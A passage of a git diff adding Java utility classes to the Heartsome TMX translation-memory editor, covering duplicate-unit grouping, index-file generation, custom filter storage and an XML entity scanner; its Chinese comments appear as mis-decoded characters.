SimpleTUData currentTu = null; + SimpleTUData preTu = null; + for (int i = 0; i < size; i++) { + if (monitor.isCanceled()) { + return new ArrayList>(); + } + monitor.worked(1); + if (i == 0) { + oneTuGroup = new ArrayList(); + currentTu = orderdTus.get(i); + oneTuGroup.add(currentTu); + duplicateGroupTu.add(oneTuGroup); + continue; + } + preTu = currentTu; + currentTu = orderdTus.get(i); + if (currentTu.isSrcSameDiffTgtEquals(preTu, ignoreCase)) { + oneTuGroup.add(currentTu); + } else { + oneTuGroup = new ArrayList(); + oneTuGroup.add(currentTu); + duplicateGroupTu.add(oneTuGroup); + } + + } + // 去掉é‡å¤TU + Iterator> iterator = duplicateGroupTu.iterator(); + while (iterator.hasNext()) { + List next = iterator.next(); + if (next.size() <= 1) { + iterator.remove(); + continue; + } + List> temp = groupOrderedTu(next, null, ignoreCase); + for (List tus : temp) { + if (tus.size() <= 1) { + continue; + } + for (SimpleTUData tu : tus) { + next.remove(tu); + } + } + + } + + monitor.done(); + return duplicateGroupTu; + } + + private static List> groupOrderedTu(List orderdTus, IProgressMonitor monitor, + boolean ignoreCase) { + if (null == monitor) { + monitor = new NullProgressMonitor(); + } + List> duplicateGroupTu = new ArrayList>(); + List oneTuGroup = new ArrayList(); + int size = orderdTus.size(); + monitor.beginTask("", size); + SimpleTUData currentTu = null; + SimpleTUData preTu = null; + for (int i = 0; i < size; i++) { + if (monitor.isCanceled()) { + return new ArrayList>(); + } + monitor.worked(1); + if (i == 0) { + oneTuGroup = new ArrayList(); + currentTu = orderdTus.get(i); + oneTuGroup.add(currentTu); + duplicateGroupTu.add(oneTuGroup); + continue; + } + preTu = currentTu; + currentTu = orderdTus.get(i); + if (currentTu.isDulicateEquals(preTu, ignoreCase)) { + oneTuGroup.add(currentTu); + } else { + oneTuGroup = new ArrayList(); + oneTuGroup.add(currentTu); + duplicateGroupTu.add(oneTuGroup); + } + + } + monitor.done(); + return duplicateGroupTu; + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/PairFile.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/PairFile.java new file mode 100644 index 0000000..8fe7b8a --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/PairFile.java @@ -0,0 +1,35 @@ +/** + * PairFile.java + * + * Version information : + * + * Date:2013-8-22 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.utils; + + +/** + * 文件é…对 + * @author Austen + * @version + * @since JDK1.6 + */ +public class PairFile { + +// private PairFileBean bean; +// +// public PairFile(PairFileBean bean) { +// this.bean = bean; +// } +// +//// public +// +// private void saveAsTmx() { +// +// } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/TeCoreUtils.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/TeCoreUtils.java new file mode 100644 index 0000000..f8ddbc5 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/TeCoreUtils.java @@ -0,0 +1,342 @@ +/** + * TeCoreUtils.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.core.utils; + +import java.io.BufferedOutputStream; +import java.io.File; +import java.io.FileOutputStream; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.innertag.TmxInnerTagParser; +import net.heartsome.cat.te.core.TeCoreConstant; +import net.heartsome.cat.te.core.tmxdata.TmxLargeFileContainer; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.PlatformUI; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDNav; + +public final class TeCoreUtils { + + public static final int OS_LINUX = 1; + public static final int OS_MAC = 2; + public static final int OS_WINDOWS = 3; + + public static void validateTmxFile(String tmxfile) { + + } + + public static void deleteFolder(File dir) { + File filelist[] = dir.listFiles(); + int listlen = filelist.length; + for (int i = 0; i < listlen; i++) { + if (filelist[i].isDirectory()) { + deleteFolder(filelist[i]); + } else { + filelist[i].delete(); + } + } + dir.delete();// 删除当å‰ç›®å½• + } + + /** + * 生æˆç´¢å¼•æ–‡ä»¶ï¼Œå³å°†ç¬¦åˆæ ‡å‡†çš„ tu å–出其纯文本,放置到一个新的临时文件中去 robert 2013-07-17
    该方法调用完åŽï¼Œå¿…删除临时文件
    + * 修改:yule.å‘添加临时文件中,添加TU的最新修改时间 + * @param container + * @param srcLang + * @param tgtLang + * @param ignoreTag + * 是å¦å¿½ç•¥æ ‡è®° + * @return ; + */ + public static String createIndexFile(IProgressMonitor monitor, TmxLargeFileContainer container, String srcLang, + String tgtLang, boolean ignoreTag) { + long time1 = System.currentTimeMillis(); + + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask("", container.getSubFiles().size()); + + srcLang = srcLang.toLowerCase(); + tgtLang = tgtLang.toLowerCase(); + + TmxInnerTagParser parser = TmxInnerTagParser.getInstance(); + FileOutputStream output = null; + BufferedOutputStream buffer = null; + + String tempFileLC = null; + try { + tempFileLC = File.createTempFile("tmxEditorIndexFile", ".tmx").getAbsolutePath(); + VTDUtils vu = null; + VTDNav vn = null; + AutoPilot ap = new AutoPilot(); + + output = new FileOutputStream(tempFileLC); + buffer = new BufferedOutputStream(output); + + buffer.write("\n".getBytes("UTF-8")); + + int subFileINdex = 0; + for (String subFile : container.getSubFiles()) { + StringBuffer sb = new StringBuffer(); + long time2 = System.currentTimeMillis(); + vu = container.getVTDUtils(subFile); + vn = vu.getVTDNav(); + vn.push(); + ap.bind(vn); + ap.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + + String tuXpath = "/tmx/body/tu[tuv[lower-case(@xml:lang)='" + srcLang + + "'] and tuv[lower-case(@xml:lang)='" + tgtLang + "']]/tuv[lower-case(@xml:lang)='" + srcLang + + "']/seg"; + ap.selectXPath(tuXpath); + + String text = ""; + String hsid = ""; + String id = ""; + int index = -1; + Map srcMap = new LinkedHashMap(); + while (ap.evalXPath() != -1) { + vn.push(); + vn.toElement(VTDNav.PARENT); + vn.toElement(VTDNav.PARENT); + if ((index = vn.getAttrVal("hsid")) != -1) { + hsid = vn.toString(index); + } + vn.pop(); + if (index == -1) { + continue; + } + // 为是节çœç´¢å¼•æ–‡ä»¶çš„空间,这里使用 åºåˆ—å·çš„æ–¹å¼ä»£æ›¿ã€€subFile loction çš„æ–¹å¼æ¥å¤„ç†ã€‚ + id = subFileINdex + TeCoreConstant.ID_MARK + hsid; + + text = vu.getElementContent(); + if (text == null) { + text = ""; + } + if (ignoreTag) { + text = parser.getTmxPureText(text); + text = cleanSpecialChar(text); + } else { + text = cleanSpecialChar(text); + } + srcMap.put(id, text); + } + + tuXpath = "/tmx/body/tu[tuv[lower-case(@xml:lang)='" + srcLang + "'] and tuv[lower-case(@xml:lang)='" + + tgtLang + "']]/tuv[lower-case(@xml:lang)='" + tgtLang + "']/seg"; + ap.selectXPath(tuXpath); + String lastTuModifyTime = "NULL"; + while (ap.evalXPath() != -1) { + vn.push(); + vn.toElement(VTDNav.PARENT); + vn.toElement(VTDNav.PARENT); + if ((index = vn.getAttrVal("hsid")) != -1) { + hsid = vn.toString(index); + } + // update by yule 2013-8-16 + int tempIndex = vn.getAttrVal("changedate"); + if (-1 != tempIndex) { + lastTuModifyTime = vn.toString(tempIndex); + } else { + lastTuModifyTime = "NULL"; + } + + vn.pop(); + if (index == -1) { + continue; + } + id = subFileINdex + TeCoreConstant.ID_MARK + hsid; + + text = vu.getElementContent(); + if (text == null) { + text = ""; + } + if (ignoreTag) { + text = parser.getTmxPureText(text); + text = cleanSpecialChar(text); + } else { + text = cleanSpecialChar(text); + } + // update by yule 2013-8-16 + sb.append("\n"); + buffer.write(sb.toString().getBytes("UTF-8")); + sb = new StringBuffer(); + srcMap.remove(id); + } + + vn.pop(); + subFileINdex++; + System.out.println(System.currentTimeMillis() - time2); + + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + monitor.worked(1); + } + buffer.write("".getBytes("UTF-8")); + buffer.flush(); + + System.out.println("生æˆç´¢å¼•æ–‡ä»¶æ‰€èŠ±æ—¶é—´ = " + (System.currentTimeMillis() - time1)); + return tempFileLC; + } catch (Exception e) { + e.printStackTrace(); + if (new File(tempFileLC).exists()) { + new File(tempFileLC).delete(); + } + return null; + } finally { + try { + if (output != null) { + output.close(); + } + if (buffer != null) { + buffer.close(); + } + monitor.done(); + } catch (Exception e2) { + e2.printStackTrace(); + } + } + + } + + /** + * 通过二å‰æŸ¥è¯¢æ–¹æ³•ï¼Œä»Žä¸€ä¸ªè£…满 tu index 的 list 中获å–当å‰ã€€tu(以index 表示) çš„åºå·
    由于是获å–的 tu 在body 节点中的 position,而 + * position是从1 开始的,故,此处å–回的结果值已ç»åšã€€åŠ ã€€1 处ç†
    robert 2013-07-17 + * @param indexList + * 是ä¿å­˜æ‰€æœ‰ã€€tu 节点的 index çš„é›†åˆ + * @param index + * 当å‰è¦æŸ¥è¯¢ã€€position 的 tu 的 index 值 + * @return ; + */ + public static int getTuPosition(List indexList, int index) { + int low = 0; + int high = indexList.size() - 1; + while (low <= high) { + int middle = (low + high) / 2; + if (index == indexList.get(middle)) { + return middle + 1; // 备注:加 1 是因为 position 是从 1 开始的 + } else if (index < indexList.get(middle)) { + high = middle - 1; + } else { + low = middle + 1; + } + } + return -1; + } + + /** + * 清除文本中的特殊字符,当å‰æ–¹æ³•åªç”¨äºŽå½“å‰ç±», 与类 {@link net.heartsome.cat.common.util.TextUtil#cleanSpecialString(String)} + * 效率高出 9 秒左å³(一百六åM的文件) robert 2013-07-18 + * @param text + * @return ; + */ + private static String cleanSpecialChar(String text) { + char[] strArray = text.toCharArray(); + StringBuffer sb = new StringBuffer(); + char curChar; + for (int i = 0; i < strArray.length; i++) { + curChar = strArray[i]; + if (curChar == '&') { + sb.append("&"); + } else if (curChar == '<') { + sb.append("<"); + } else if (curChar == '>') { + sb.append(">"); + } else if (curChar == '"') { + sb.append("""); + } else { + sb.append(curChar); + } + } + + return sb.toString(); + } + + /** + * Parse TU identifier + * @param identifier + * @return two String in array, first is SubFile and next is TU position in SubFile; + */ + public static String[] parseTuIndentifier(String identifier) { + if (identifier == null || identifier.length() < 2) { + return null; + } + String[] strs = identifier.split(TeCoreConstant.ID_MARK); + if (strs.length != 2) { + return null; + } + return strs; + } + + /** + * 得到当å‰çš„æ“作系统。 + * @return æ“作系统,值为 {@link #OS_LINUX}ã€{@link #OS_MAC}ã€{@link #OS_WINDOWS}; + */ + public static int getCurrentOS() { + if (System.getProperty("file.separator").equals("\\")) { //$NON-NLS-1$ //$NON-NLS-2$ + // Windows + return OS_WINDOWS; + } else if (System.getProperty("user.home").startsWith("/Users")) { //$NON-NLS-1$ //$NON-NLS-2$ + // Mac + return OS_MAC; + } else { + // Linux + return OS_LINUX; + } + } + + /** + * 得到文件分隔符 + * @return 在 UNIX 系统值为 '/'; 在 Windows 系统值为 '\'。 + */ + public static String getFileSeparator() { + return System.getProperty("file.separator"); + } + + /** + * 得到行分隔符 + * @return Linux 系统值为 '\n'; Mac 系统值为 '\r'ï¼›Windows 系统值为 '\r\n'。 + */ + public static String getLineSeparator() { + return System.getProperty("line.separator"); + } + + public static boolean validateTmxContainer(TmxLargeFileContainer conater) { + return true; + } + /** + * 关闭 qa 视图,当进行 qa æ—¶å†æ‰“å¼€ robert 2013-09-27 + */ + public static void closeQAViewer(){ + String viewId = TeCoreConstant.QAResultViewer_ID; + IWorkbenchPage workbenchPage = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage(); + IViewPart view = workbenchPage.findView(viewId); + if (view != null) { + workbenchPage.hideView(view); + } + } + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/TmxCustomFilterUtil.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/TmxCustomFilterUtil.java new file mode 100644 index 0000000..551293f --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/TmxCustomFilterUtil.java @@ -0,0 +1 @@ +package net.heartsome.cat.te.core.utils; import java.io.File; import java.io.FileOutputStream; import java.util.ArrayList; import java.util.List; import net.heartsome.cat.common.ui.utils.OpenMessageUtils; import net.heartsome.cat.common.util.TextUtil; import net.heartsome.cat.te.core.bean.Property; import net.heartsome.cat.te.core.bean.TmxEditorFilterBean; import net.heartsome.cat.te.core.resource.Messages; import net.heartsome.xml.vtdimpl.VTDUtils; import org.eclipse.core.resources.ResourcesPlugin; import org.eclipse.core.runtime.IStatus; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import com.ximpleware.AutoPilot; import com.ximpleware.VTDGen; import com.ximpleware.VTDNav; import com.ximpleware.XMLModifier; /** * tmx editor 过滤器管ç†å·¥å…·ï¼Œä¸»è¦å¤„ç†è¿‡æ»¤å™¨çš„增删查改等æ“作 * @author robert 2013-06-17 */ public class TmxCustomFilterUtil { /** 自定义过滤器文件的ä¿å­˜è·¯å¾„ */ public final static String FILTERFILEPATH = ResourcesPlugin.getWorkspace().getRoot().getLocation().append(".metadata/.preference/.filter.xml").toOSString(); /** 标识 */ private boolean isFilterOpened = false; private VTDNav vn; private VTDUtils vu; private XMLModifier xm; public static Logger LOGGER = LoggerFactory.getLogger(TmxCustomFilterUtil.class.getName()); public TmxCustomFilterUtil(){ openFilter(); } /** * 返回 过滤器存储文件是å¦å¯ç”¨ * @return boolean */ public boolean isFilterOpened() { return isFilterOpened; } // /** // * 添加过滤器 // * @param bean // */ // public void addFilter(TmxEditorFilterBean bean) throws Exception{ // try { // AutoPilot ap = new AutoPilot(vn); // ap.selectXPath("/filters"); // while(ap.evalXPath() != -1){ // String filter = createFilter(bean); // xm.insertBeforeTail(filter.getBytes("UTF-8")); // } // } catch (Exception e) { // LOGGER.error(Messages.getString("core.TmxCutomFilterUtil.logger.msg1"), e); // throw new Exception(Messages.getString("core.TmxCutomFilterUtil.exception.msg1"), e); // } // } // /** // * ä¿å­˜å¹¶ä¸”é‡æ–°è§£æž // */ // public void saveAndReparse() throws Exception{ // try { // xm.output(FILTERFILEPATH); // openFilter(); // } catch (Exception e) { // LOGGER.error(Messages.getString("core.TmxCutomFilterUtil.logger.msg2"), e); // throw new Exception(Messages.getString("core.TmxCutomFilterUtil.exception.msg2"), e); // } // } public void saveFilters(List filterList) throws Exception{ try { AutoPilot ap = new AutoPilot(vn); ap.selectXPath("/filters"); if(ap.evalXPath() != -1){ xm.remove(); StringBuffer filterSB = new StringBuffer(); filterSB.append("\n"); for(TmxEditorFilterBean bean : filterList){ filterSB.append(createFilter(bean)); } filterSB.append(""); xm.insertAfterElement(filterSB.toString().getBytes("UTF-8")); } save(); } catch (Exception e) { LOGGER.error(Messages.getString("core.TmxCutomFilterUtil.logger.msg1"), e); throw new Exception(Messages.getString("core.TmxCutomFilterUtil.exception.msg1"), e); } } /** * ä¿å­˜ä½†ä¸è§£æž */ private void save() throws Exception{ try { xm.output(FILTERFILEPATH); } catch (Exception e) { LOGGER.error(Messages.getString("core.TmxCutomFilterUtil.logger.msg3"), e); throw new Exception(Messages.getString("core.TmxCutomFilterUtil.exception.msg3"), e); } } /** * 获å–所有的过滤器 * @return ; */ public List getAllCustomFilters(){ return getCustomFilters("/filters/filter"); } /** * èŽ·å– å¯ç”¨çš„ 自定义过滤器 * @return ; */ public List getUseableCustomFilters(){ return getCustomFilters("/filters/filter[@useable='true']"); } /** * 获å–自定义过滤器 * @param xpath * @return */ private List getCustomFilters(String xpath){ List filterList = new ArrayList(); try { AutoPilot ap = new AutoPilot(vn); ap.selectXPath(xpath); int index = -1; while(ap.evalXPath() != -1){ List srcFilterList = new ArrayList(); List tgtFilterList = new ArrayList(); List noteFilterList = new ArrayList(); List fixedPropFilterList = new ArrayList(); List customPropFilterList = new ArrayList(); List tempList = new ArrayList(); TmxEditorFilterBean bean = new TmxEditorFilterBean(); String id = ""; if ((index = vn.getAttrVal("id")) != -1) { id = vn.toString(index); id = id == null ? "" : id.trim(); } if (id.isEmpty()) { continue; } String name = ""; if ((index = vn.getAttrVal("name")) != -1) { name = vn.toString(index); name = name == null ? "" : name.trim(); } if (name.isEmpty()) { continue; } boolean isUseable = false; if ((index = vn.getAttrVal("useable")) != -1) { isUseable = "true".equals(vn.toString(index)); } boolean isFitAll = false; if ((index = vn.getAttrVal("fitAll")) != -1) { isFitAll = "true".equals(vn.toString(index)); } // 开始é历所有的处ç†å¯¹è±¡ã€‚ AutoPilot childAP = new AutoPilot(vn); AutoPilot itemAP = new AutoPilot(vn); childAP.selectXPath("./node()"); vn.push(); String nodeName = ""; String key = ""; String value = ""; while(childAP.evalXPath() != -1){ nodeName = vn.toString(vn.getCurrentIndex()); vn.push(); itemAP.selectXPath("./item"); while(itemAP.evalXPath() != -1){ index = vn.getAttrVal("typeOrPropName"); if ((index = vn.getAttrVal("typeOrPropName")) != -1) { key = vn.toString(index); key = key == null ? "" : key.trim(); } value = TextUtil.resetSpecialString(vu.getElementContent()); value = value == null ? "" : value.trim(); if (!key.isEmpty() && !value.isEmpty()) { tempList.add(new Property(key, value)); } } vn.pop(); if ("source".equals(nodeName)) { srcFilterList.addAll(tempList); }else if ("target".equals(nodeName)) { tgtFilterList.addAll(tempList); }else if ("note".equals(nodeName)) { noteFilterList.addAll(tempList); }else if ("fixedProp".equals(nodeName)) { fixedPropFilterList.addAll(tempList); }else if ("customProp".equals(nodeName)) { customPropFilterList.addAll(tempList); } tempList.clear(); } vn.pop(); bean.setId(id); bean.setName(name); bean.setCustom(true); bean.setUseable(isUseable); bean.setFitAll(isFitAll); bean.setSrcFilter(srcFilterList); bean.setTgtFilter(tgtFilterList); bean.setNoteFilter(noteFilterList); bean.setCustomPropFilter(customPropFilterList); bean.setFixedPropFilter(fixedPropFilterList); filterList.add(bean); } } catch (Exception e) { OpenMessageUtils.openMessage(IStatus.ERROR, Messages.getString("core.tmxCutomFilterUtil.error.msg")); LOGGER.error(Messages.getString("core.tmxCutomFilterUtil.error.Logger.msg"), e); } return filterList; } /** * æ ¹æ®ä¼ å…¥çš„过滤器进行修改,修改åŽå¿…须手动ä¿å­˜ã€‚ * @param bean * @return * @throws Exception */ public TmxEditorFilterBean updateFilter(TmxEditorFilterBean bean) throws Exception{ try { if (bean.getId() == null || bean.getId().trim().isEmpty()) { LOGGER.error(Messages.getString("core.tmxCutomFilterUtil.modifyFail.logger")); throw new Exception(Messages.getString("core.tmxCutomFilterUtil.modifyFail.msg")); } AutoPilot ap = new AutoPilot(vn); ap.selectXPath("/filters/filter[@id='" + bean.getId() + "']"); if (ap.evalXPath() != -1) { xm.remove(); xm.insertAfterElement(createFilter(bean)); }else { LOGGER.error(Messages.getString("core.tmxCutomFilterUtil.modifyFail.logger1")); throw new Exception(Messages.getString("core.tmxCutomFilterUtil.modifyFail.msg1")); } } catch (Exception e) { LOGGER.error(Messages.getString("core.tmxCutomFilterUtil.modifyFail.logger"), e); throw new Exception(Messages.getString("core.tmxCutomFilterUtil.modifyFail.msg"), e); } return null; } /** * 打开过滤器存储文件 */ private void openFilter(){ try { if (!new File(FILTERFILEPATH).exists()) { creatFilterFile(); } VTDGen vg = new VTDGen(); if (vg.parseFile(FILTERFILEPATH, true)) { vn = vg.getNav(); vu = new VTDUtils(vn); xm = new XMLModifier(vn); isFilterOpened = true; }else { boolean isCreate = OpenMessageUtils.openConfirmMessage(Messages.getString("core.tmxCutomFilterUtil.error.filterFileWrong")); if (isCreate) { creatFilterFile(); openFilter(); }else { isFilterOpened = false; } } } catch (Exception e) { LOGGER.error("", e); } } /** * 创建 自定义过滤器存储文件 */ private void creatFilterFile(){ File parentFile = new File(FILTERFILEPATH).getParentFile(); if (!parentFile.exists()) { parentFile.mkdirs(); } FileOutputStream output = null; try { output = new FileOutputStream(FILTERFILEPATH); output.write("\n".getBytes("UTF-8")); output.write("\n".getBytes("UTF-8")); } catch (Exception e) { LOGGER.error("", e); }finally{ try { if (output != null) { output.close(); } } catch (Exception e2) { LOGGER.error("", e2); } } } /** * è¦æ®ä¼ è¿›æ¥çš„ bean 生æˆä¸€ä¸ª filter 的字符串 * @param bean * @return */ private String createFilter(TmxEditorFilterBean bean){ // UNDO 这里还è¦å¤„ç†ç›¸åŒé“¾å€¼å¯¹çš„情况 StringBuffer sb = new StringBuffer(); sb.append("\n"); // 处ç†å¯¹è±¡ä¸ºæºæ–‡çš„情况 if (bean.getSrcFilter() != null && bean.getSrcFilter().size() > 0) { sb.append("\t\n"); for(Property property : bean.getSrcFilter()){ sb.append("\t\t"); sb.append(TextUtil.cleanSpecialString(property.getValue())); sb.append("\n"); } sb.append("\t\n"); } // 处ç†å¯¹è±¡ä¸ºè¯‘文的情况 if (bean.getTgtFilter() != null && bean.getTgtFilter().size() > 0) { sb.append("\t\n"); for(Property property : bean.getTgtFilter()){ sb.append("\t\t"); sb.append(TextUtil.cleanSpecialString(property.getValue())); sb.append("\n"); } sb.append("\t\n"); } // 处ç†å¯¹è±¡ä¸ºæ‰¹æ³¨çš„情况 if (bean.getNoteFilter() != null && bean.getNoteFilter().size() > 0) { sb.append("\t\n"); for(Property property : bean.getNoteFilter()){ sb.append("\t\t"); sb.append(TextUtil.cleanSpecialString(property.getValue())); sb.append("\n"); } sb.append("\t\n"); } // 处ç†å¯¹è±¡ä¸ºå›ºå®šå±žæ€§çš„情况 if (bean.getFixedPropFilter() != null && bean.getFixedPropFilter().size() > 0) { sb.append("\t\n"); for(Property property : bean.getFixedPropFilter()){ sb.append("\t\t"); sb.append(TextUtil.cleanSpecialString(property.getValue())); sb.append("\n"); } sb.append("\t\n"); } // 处ç†å¯¹è±¡ä¸ºè‡ªå®šä¹‰å±žæ€§çš„情况 if (bean.getCustomPropFilter() != null && bean.getCustomPropFilter().size() > 0) { sb.append("\t\n"); for(Property property : bean.getCustomPropFilter()){ sb.append("\t\t"); sb.append(TextUtil.cleanSpecialString(property.getValue())); sb.append("\n"); } sb.append("\t\n"); } sb.append("\n"); return sb.toString(); } } \ No newline at end of file diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/TmxEntityScanner.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/TmxEntityScanner.java new file mode 100644 index 0000000..c21de3d --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/TmxEntityScanner.java @@ -0,0 +1,606 @@ +package net.heartsome.cat.te.core.utils; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.IOException; +import java.io.InputStreamReader; + +import org.apache.xerces.util.XMLChar; +import org.apache.xerces.util.XMLStringBuffer; +import org.apache.xerces.xni.QName; +import org.apache.xerces.xni.XMLString; + +public class TmxEntityScanner { + + final private int defaultSize = 1024; + private TmxEntity entity = null; + private boolean finish = false; + private boolean hasReader = true; + + public TmxEntityScanner(String path, String encoding) throws FileNotFoundException { + entity = new TmxEntity(); + entity.reader = new BufferedReader(new InputStreamReader(new FileInputStream(new File(path)))); + entity.ch = new char[defaultSize]; + hasReader = true; + } + + public TmxEntityScanner(String path) throws FileNotFoundException { + entity = new TmxEntity(); + entity.reader = new BufferedReader(new InputStreamReader(new FileInputStream(new File(path)))); + entity.ch = new char[defaultSize]; + hasReader = true; + } + + + public int getLineNumber() { + return entity.lineNumber; + } + + public int getColumnNumber() { + return entity.columnNumber; + } + + public int getHasLoad() { + return entity.hasLoad; + } + + public TmxEntityScanner(XMLStringBuffer buf) { + entity = new TmxEntity(); + entity.ch = buf.ch; + entity.count = buf.ch.length; + hasReader = false; + } + + char peekChar() throws IOException { + if (entity.position == entity.count) { + load(0); + } + + char c = entity.ch[entity.position]; + return (c != '\r') ? c : '\n'; + } + + char scanChar() throws IOException { + char c = peekChar(); + entity.position++; + + if (c == '\n') { + entity.lineNumber++; + entity.columnNumber = 1; + if (entity.position == entity.count) { + entity.ch[0] = c; + load(1); + } + if (c == '\r') { + int cc = entity.ch[entity.position++]; + if (cc != '\n' && c != 0x85) { + entity.position--; + } + } + c = '\n'; + } + return c; + } + + String scanName() throws IOException { + if (entity.position == entity.count) { + load(0); + } + + int offset = entity.position; + if (XMLChar.isNameStart(entity.ch[offset])) { + if (++entity.position == entity.count) { + entity.ch[0] = entity.ch[offset]; + offset = 0; + if (load(1)) { + entity.columnNumber++; + return new String(entity.ch, 0, 1); + } + } + while (XMLChar.isName(entity.ch[entity.position])) { + if (++entity.position == entity.count) { + int length = entity.position - offset; + if (length == entity.ch.length) { + // bad luck we have to resize our buffer + char[] tmp = new char[entity.ch.length << 1]; + System.arraycopy(entity.ch, offset, tmp, 0, length); + entity.ch = tmp; + } else { + System.arraycopy(entity.ch, offset, entity.ch, 0, length); + } + offset = 0; + if (load(length)) { + break; + } + } + } + } + int length = entity.position - offset; + entity.columnNumber += length; + return new String(entity.ch, offset, entity.position - offset); + } + + boolean scanQName(QName qname) throws IOException { + + if (entity.position == entity.count) { + load(0); + } + + // scan qualified name + int offset = entity.position; + if (XMLChar.isNCNameStart(entity.ch[offset])) { + if (++entity.position == entity.count) { + entity.ch[0] = entity.ch[offset]; + offset = 0; + if (load(1)) { + entity.columnNumber++; + // fSymbolTable.addSymbol(entity.ch, 0, 1); + String name = new String(entity.ch, 0, 1); + qname.setValues(null, name, name, null); + return true; + } + } + int index = -1; + while (XMLChar.isName(entity.ch[entity.position])) { + char c = entity.ch[entity.position]; + if (c == ':') { + if (index != -1) { + break; + } + index = entity.position; + } + if (++entity.position == entity.count) { + int length = entity.position - offset; + if (length == entity.ch.length) { + // bad luck we have to resize our buffer + char[] tmp = new char[entity.ch.length << 1]; + System.arraycopy(entity.ch, offset, tmp, 0, length); + entity.ch = tmp; + } else { + System.arraycopy(entity.ch, offset, entity.ch, 0, length); + } + if (index != -1) { + index = index - offset; + } + offset = 0; + if (load(length)) { + break; + } + } + } + int length = entity.position - offset; + entity.columnNumber += length; + if (length > 0) { + String prefix = null; + String localpart = null; + // fSymbolTable.addSymbol(entity.ch, offset, length); + String rawname = new String(entity.ch, offset, length); + if (index != -1) { + int prefixLength = index - offset; + // fSymbolTable.addSymbol(entity.ch, offset, prefixLength); + prefix = new String(entity.ch, offset, prefixLength); + int len = length - prefixLength - 1; + int startLocal = index + 1; + if (!XMLChar.isNCNameStart(entity.ch[startLocal])) { + // TODO: + } + // fSymbolTable.addSymbol(entity.ch, startLocal, len); + localpart = new String(entity.ch, startLocal, len); + + } else { + localpart = rawname; + } + qname.setValues(prefix, localpart, rawname, null); + return true; + } + } + return false; + } + + int scanLiteral(int quote, XMLString xs) throws IOException { + + if (entity.position == entity.count) { + load(0); + } else if (entity.position == entity.count - 1) { + entity.ch[0] = entity.ch[entity.count - 1]; + load(1); + entity.position = 0; + } + + int offset = entity.position; + int c = entity.ch[offset]; + int newlines = 0; + if (c == '\r' || c == '\n') { + do { + c = entity.ch[entity.position++]; + if (c == '\r') { + newlines++; + entity.lineNumber++; + entity.columnNumber = 1; + if (entity.position == entity.count) { + offset = 0; + if (load(newlines)) { + break; + } + } + if (entity.ch[entity.position] == '\n') { + entity.position++; + offset++; + } else { + newlines++; + } + } else if (c == '\n') { + newlines++; + entity.lineNumber++; + entity.columnNumber = 1; + if (entity.position == entity.count) { + offset = 0; + entity.baseCharOffset += (entity.position - entity.startPosition); + entity.position = newlines; + entity.startPosition = newlines; + if ( + load(newlines)) + break; + } + } else { + entity.position--; + break; + } + } while (entity.position < entity.count - 1); + for (int i = offset; i < entity.position; i++) { + entity.ch[i] = '\n'; + } + int length = entity.position - offset; + if (entity.position == entity.count - 1) { + xs.setValues(entity.ch, offset, length); + return -1; + } + } + + while (entity.position < entity.count) { + c = entity.ch[entity.position++]; + if ((c == 